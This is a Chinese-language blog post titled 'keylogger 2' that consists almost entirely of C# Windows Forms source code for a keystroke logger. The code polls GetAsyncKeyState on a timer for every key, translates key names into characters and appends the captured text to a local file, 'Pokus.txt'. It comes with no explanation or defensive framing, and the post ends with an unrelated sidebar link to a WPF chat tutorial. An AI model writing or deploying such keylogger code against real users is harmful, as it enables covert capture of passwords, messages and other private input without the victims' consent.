2017年12月22日 星期五

鍵盤側錄2

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace keytest1
{
    public partial class Form1 : Form
    {
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(int vkey);
        public Form1()
        {
            InitializeComponent();
            timer1.Start();
        }
        string text = "";
        bool capslock, numlock;
        private void timer1_Tick(object sender, EventArgs e)
        {
            capslock = Console.CapsLock;
            numlock = Console.NumberLock;
            if (capslock == true)
            {
                //button1.Text = "On";
            }
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                {
                    buffer += Enum.GetName(typeof(Keys), i);
                    if (capslock == true)
                    {
                        buffer = buffer.ToUpper();
                    }
                    else
                        buffer = buffer.ToLower();
                    switch (buffer)
                    {
                        case "LButton":
                            buffer = " ";
                            break;

                        case "Delete":
                            buffer = " ";
                            break;

                        case "RButton":
                            buffer = " ";
                            break;
                        case "Space ":
                            buffer = " ";
                            break;


                        case "space":
                        case "SPACE":
                            buffer = " ";
                            break;
                        case "capslock":
                        case "CAPSLOCK":
                            buffer = " ";
                            break;

                        //  shiftkeylshiftkey
                        case "enter":
                        case "ENTER":
                            buffer = (Environment.NewLine);
                            break;

                        case "LBUTTON":
                        case "lbutton":
                            buffer = "";
                            break;
                        case "OemPeriod":
                        case "OEMPERIOD":
                        case "oemperiod":
                            buffer = ".";
                            break;

                        case "LMenu":
                        case "lemnu":
                        case "LMENU":
                            buffer = "ALT ";
                            break;
                        case "Back":
                            buffer = " ";
                            break;

                        case "Oem7":
                            buffer = "'";
                            break;
                        case "down":
                            buffer = " D ";
                            break;
                        case "up":
                            buffer = " U ";
                            break;
                        case "right":
                            buffer = " R ";
                            break;
                        case "left":
                            buffer = " L ";
                            break;
                        case "back":
                            buffer = " B ";
                            break;
                        case "Oemcomma":
                            buffer = ",";
                            break;
                        case "Capital":
                            buffer = "CAPITAL ";
                            break;
                        case "Tab":
                            buffer = "TAB ";
                            break;
                        case "OemQuestion":
                            buffer = "?";
                            break;
                        case "Oem1":
                            buffer = ";";
                            break;
                        case "Oem5":
                            buffer = "\\";
                            break;
                        case "Oem6":
                            buffer = "]";
                            break;
                        case "OemOpenBrackets":
                            buffer = "[";
                            break;
                        case "OemMinus":
                            buffer = "-";
                            break;
                        case "Oemplus":
                            buffer = "+";
                            break;
                        /*case Keys.Down:
                            sw.Write("DownArrow-");
                            break;
                        case Keys.Left:
                            sw.Write("Left Arrow-");
                            break;
                        case Keys.Right:
                            sw.Write("Righr Arrow-");
                            break;
                        case Keys.Up:
                            sw.Write("Up Arrow-");
                            break;*/
                        case "D0":
                        case "d0":
                            buffer = "0";
                            break;
                        case "D1":
                        case "d1":
                            buffer = "1";
                            break;
                        case "D2":
                        case "d2":
                            buffer = "2";
                            break;
                        case "D3":
                        case "d3":
                            buffer = "3";
                            break;
                        case "D4":
                        case "d4":
                            buffer = "4";
                            break;
                        case "D5":
                        case "d5":
                            buffer = "5";
                            break;
                        case "D6":
                        case "d6":
                            buffer = "6";
                            break;
                        case "D7":
                        case "d7":
                            buffer = "7";
                            break;
                        case "D8":
                        case "d8":
                            buffer = "8";
                            break;
                        case "D9":
                        case "d9":
                            buffer = "9";
                            break;
                        case "OemPipe":
                            buffer = "|";
                            break;
                        case "rshiftkey":
                        case "RShiftKey":
                        case "RSHIFTKEY":
                            buffer = "";
                            break;
                        case "LSHIFTKEY":
                        case "Lshiftkey":
                        case "lshiftkey":
                            buffer = "";
                            break;

                        case "LCONTROLKEY":
                        case "lcontrolkey":
                            buffer = "";
                            break;
                        case "RCONTROLKEY":
                        case "rcontrolkey":
                            buffer = "";
                            break;

                        case "OemSemicolon":
                            buffer = ";";
                            break;
                        case "DELETE":
                        case "delete":
                            buffer = "";
                            break;
                            //case "DELETE":
                            //case "delete":
                            //  buffer = "";
                            //break;
                    }
                }
            }
            text +=buffer;         

            if (text.Length > 10)
            {
                writeTotext(text);
                text = "";

            }
        }
        private void writeTotext(string value)
        {
            StreamWriter stram = new StreamWriter("Pokus.txt", true);
            stram.Write(value);
            stram.Close();
        }
    }
}

沒有留言:

張貼留言

WPF聊天室应用(ASP.NET Core SignalR)

  WPF聊天室应用(ASP.NET Core SignalR) https://www.bilibili.com/video/BV1Q741187Si?p=2 https://www.bilibili.com/video/BV1UV411e75T?from=search&...